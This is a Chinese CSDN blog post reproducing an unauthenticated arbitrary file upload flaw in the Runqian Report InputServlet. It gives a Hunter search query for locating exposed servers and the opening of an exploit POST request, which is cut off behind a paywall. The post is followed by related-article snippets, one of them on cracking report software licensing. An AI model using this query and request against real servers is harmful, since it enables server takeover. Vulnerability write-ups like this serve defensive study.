【漏洞复现】润乾报表 InputServlet 任意文件上传漏洞

最新推荐文章于 2024-07-24 13:18:15 发布
最新推荐文章于 2024-07-24 13:18:15 发布
阅读量890 收藏
点赞数 20
分类专栏： 漏洞复现 文章标签： 网络 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_67810151/article/details/137651066
版权
本文介绍了润乾报表的任意文件上传漏洞，该漏洞可能导致服务器被攻击者控制。文章详细阐述了漏洞概述、复现过程及影响范围。
摘要由CSDN通过智能技术生成

0x01 产品简介

润乾报表是一个纯JAVA的企业级报表工具，润乾报表作为领先的企业级报表分析软件，提供了高效的报表设计方案、强大的报表展现能力、灵活的部署机制，以及支持强关联语义模型。这些功能使得润乾报表能够为企业级数据分析与商业智能提供高性能、高效率的报表系统解决方案。

0x02 漏洞概述

润乾报表存在任意文件上传漏洞，未授权的攻击者可以通过该漏洞上传任意恶意文件，从而控制服务器。

0x03 测绘语句

hunter：app.name="润乾报表平台"

0x04 漏洞复现

POST /InputServlet?action=12 HTTP/1.1

Host:

Accept-Encoding: gzip, deflate, br

Accept: */*

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safar
了解本专栏 订阅专栏 解锁全文 超级会员免费看
从不学安全
关注
专栏目录
订阅专栏
【漏洞复现】先锋WEB燃气收费系统文件上传漏洞 1day
失心少年
01-12 188
技术文章仅供参考，任何个人和组织使用网络应当遵守宪法法律，遵守公共秩序，尊重社会公德，不得利用网络从事危害国家安全、荣誉和利益，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！访问http://ip:port/AjaxService/Upload.aspx验证。/AjaxService/Upload.aspx 存在任意文件上传漏洞。出现上面页面则证明漏洞存在。
Servlet.docx
11-03
在给出的示例中，我们有两个核心的 Servlet 类：`HelloServlet` 和 `InputServlet`，它们都继承自 `HttpServlet` ...在实际开发中，Servlet 可以用于处理各种复杂的业务逻辑，如数据库操作、文件上传下载、用户认证等。
动态 SQL 及安全性（Birt vs 润乾）
cainiao_M的博客
07-29 239
静态 SQL 与动态 SQL 对于题目中提到的动态 SQL，显然应该有一种静态 SQL 与之相对，那么两者应该怎么理解？我们先来个基本的认识。 静态 SQL 之“静态”，意味着在执行之前就已经明确了该 sql 在数据库执行后的业务含义，也就是对于做啥事儿我们是清楚的，只不过需要知道这事儿的具体内容有哪些。比如“select userID,username from users where de...
润乾报表前台InputServlet接口任意文件上传漏洞复现 [附POC]
最新发布
薛定谔嘚喵博客
07-24 422
润乾报表是一个纯JAVA的企业级报表工具，支持对J2EE系统的嵌入式部署，无缝集成。服务器端支持各种常见的操作系统，支持各种常见的关系数据库和各类J2 EE的应用服务器，客户端采用标准纯html方式展现，支持ie和netscape， 润乾报表是领先的企业级报表分析软件。其润乾报表前台InputServlet接口存在任意文件上传漏洞。
最新0day！！用友U8-Cloud UploadFile接口存在任意文件读取漏洞
weixin_43167326的博客
04-02 650
U8 cloud 聚焦成长型、创新型企业的云 ERP，基于全新的企业互联网应用设计理念，为企业提供集人财物客、产供销于一体的云 ERP 整体解决方案，全面支持多组织业务协同、智能财务，人力服务、构建产业链智造平台，融合用友云服务实现企业互联网资源连接、共享、协同。该系统存在任何文件读取漏洞。
【漏洞复现】润乾报表InputServlet13文件读取漏洞
晚风不及你
04-27 267
润乾报表InputServlet13接口存在文件读取漏洞，攻击者可利用漏洞读取服务器的敏感信息。
【漏洞复现】润乾报表InputServlet12文件上传漏洞
晚风不及你
04-27 248
润乾报表InputServlet12接口存在文件上传漏洞，攻击者可利用漏洞获取服务器权限。
jsp与Servlet跳转实例借鉴.pdf
12-25
在web.xml文件中，我们可以看到Servlet的映射，例如InputServlet、ConfirmServlet、ResultServlet。这些映射用于将URL请求映射到对应的Servlet上。 知识点十：JSP页面的错误处理 在Error.jsp中，我们可以看到错误...
jsp与Servlet跳转
11-27
- 代码中通过`<a href="/lianxi/servlet/InputServlet">INPUT</a>`实现了这一功能。 2. **Input.jsp** - 收集用户的输入信息，如用户名和密码。 - 使用POST方法将数据提交给`ConfirmServlet`。 3. **Confirm....
jsp与Servlet跳转实例
10-10
以Index.jsp为例，页面首先设置了一系列元数据，如字符编码、基路径等，然后通过一个链接指向InputServlet，触发后续的流程。当用户点击链接时，会调用InputServlet，该Servlet通常会检查必要的参数，然后重定向到...
润乾报表4.0帮助文档
05-11
润乾报表4.0帮助文档 包括 润乾报表4.0应用开发.pdf 润乾报表4.0实用案例解析.pdf 润乾报表4.0填报专题.pdf 润乾报表4.0用户手册.pdf
润乾报表InputServlet存在任意文件上传漏洞
weixin_43167326的博客
04-11 433
润乾报表是一个纯JAVA的企业级报表工具，支持对J2EE系统的嵌入式部署，无缝集成。服务器端支持各种常见的操作系统，支持各种常见的关系数据库和各类J2 EE的应用服务器，客户端采用标准纯html方式展现，支持ie和netscape.
润乾报表平台 InputServlet 任意文件读取漏洞复现
0xSec
04-15 606
润乾报表平台 InputServlet 接口存在任意文件未经漏洞，未经身份攻击者可通过该漏洞读取系统内部配置文件及敏感数据凭证，使系统处于极不安全状态
HW漏洞威胁情报第二天|HW情报
weixin_43167326的博客
07-24 1733
技术文章仅供参考，此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！！！帆软V11 0day sql注入至rce浪潮财务云反序列化rce通达V11.10 前台sql注入金万维异速联云联应用系统GNRemote存在远程命令执行漏洞（已复现）
SRC挖掘日常3
jennycisp的博客
05-06 830
在实际的渗透测试过程中，面对复杂多变的网络环境，当常用工具不能满足实际需求的时候，往往需要对现有工具进行扩展，或者编写符合我们要求的工具、自动化脚本，这个时候就需要具备一定的编程能力。如果你把每周要学的内容精细化到这种程度，你还会担心学不会，入不了门吗，其实说到底就是学了两个月，但都是东学一下，西学一下，什么内容都是浅尝辄止，没有深入进去，所以才会有学了2个月，入不了门这种感受。聊完宏观的，我们再落到具体的技术点上来，给你看看我给团队小伙伴制定的网络安全学习路线，整体大概半年左右，具体视每个人的情况而定。
报表的SQL植入风险及规避方法
cainiao_M的博客
06-28 304
互联网时代带来方便的同时也带来了安全隐患，各种安全问题可说是防不胜防，特别是大家日益关心的个人信息等方面，貌似很难有什么安全和隐私可言。 而在报表作为常用的信息载体，更是直接面临各种安全挑战，例如：SQL 植入。 什么是 SQL 植入？！ 报表为啥会有 SQL 植入风险？！ 能不能通过报表工具提供的功能避免 SQL 植入？！ SQL 植入的概念 首先，认识一下什么是 sql 植入？ ...
帆软报表与润乾报表的破解策略
jackspring的博客
03-19 4195
简而言之，只做技术探讨，尔等细细体会。 1）破解工具： Javassist 2）破解思路： 润乾报表：润乾报表安全做的不怎么样，修改相应方法，将关键校验的false改为true即可。 帆软报表：帆软报表安全做的还可以，但是有个致命缺陷，就是并发为1的时候拥有完全的功能。他的破解思路最为简单，即修改源码中的并发判断逻辑，将所有请求的IP地址都改为某个固定值，如127.0.0.1。 最后，...
使用润乾报表的常见问题
热门推荐
艺术就是爆炸的专栏
08-12 1万+
最近工作需要，使用了润乾报表。润乾报表是一个纯JAVA的企业级报表工具，功能很强大，可以做很多事情，可以做非常复杂的报表，不过我用到的比较简单，所以这里也就总结了一些比较基本的操作。 设计器如何打开 如果是安装的，那么直接到菜单下，打开润乾报表设计器就行了，如果是压缩包或者从别人那儿拷过来的，就运行\reportHome\bin下面的startup.bat就可以打开了。 做一个报表需
基于JSP+Servlet+JavaBean的设计模式，设计一个Web应用程序，当用户在提交页面上输入矩形的长和宽，提交后显示出矩形的周长和面积。请给出具体代码
06-02
好的，以下是具体的代码实现： 1. 创建一个名为 Rectangle 的 JavaBean 类，用于计算矩形的周长和面积。 ```java public class Rectangle { private double length; private double width; public Rectangle() {} public Rectangle(double length, double width) { this.length = length; this.width = width; } public double getLength() { return length; } public void setLength(double length) { this.length = length; } public double getWidth() { return width; } public void setWidth(double width) { this.width = width; } public double getArea() { return length * width; } public double getPerimeter() { return 2 * (length + width); } } ``` 2. 创建一个名为 InputServlet 的 Servlet 类，用于接收用户输入的矩形长和宽，并将其传递给 Rectangle 类进行计算。 ```java import java.io.IOException; import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; public class InputServlet extends HttpServlet { private static final long serialVersionUID = 1L; public InputServlet() { super(); } protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { doPost(request, response); } protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { double length = Double.parseDouble(request.getParameter("length")); double width = Double.parseDouble(request.getParameter("width")); Rectangle rect = new Rectangle(length, width); request.setAttribute("rect", rect); request.getRequestDispatcher("/output.jsp").forward(request, response); } } ``` 3. 创建一个名为 output.jsp 的 JSP 页面，用于显示计算出的矩形周长和面积。 ```jsp <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>矩形周长和面积</title> </head> <body> <h1>矩形周长和面积</h1> <hr> <p>长：${rect.length}</p> <p>宽：${rect.width}</p> <p>面积：${rect.area}</p> <p>周长：${rect.perimeter}</p> </body> </html> ``` 4. 在 web.xml 文件中配置 InputServlet 类的映射。 ```xml <web-app> <servlet> <servlet-name>InputServlet</servlet-name> <servlet-class>InputServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>InputServlet</servlet-name> <url-pattern>/input</url-pattern> </servlet-mapping> </web-app> ``` 这样，当用户在输入页面上输入矩形的长和宽并提交后，就会显示出矩形的周长和面积。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

从不学安全

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值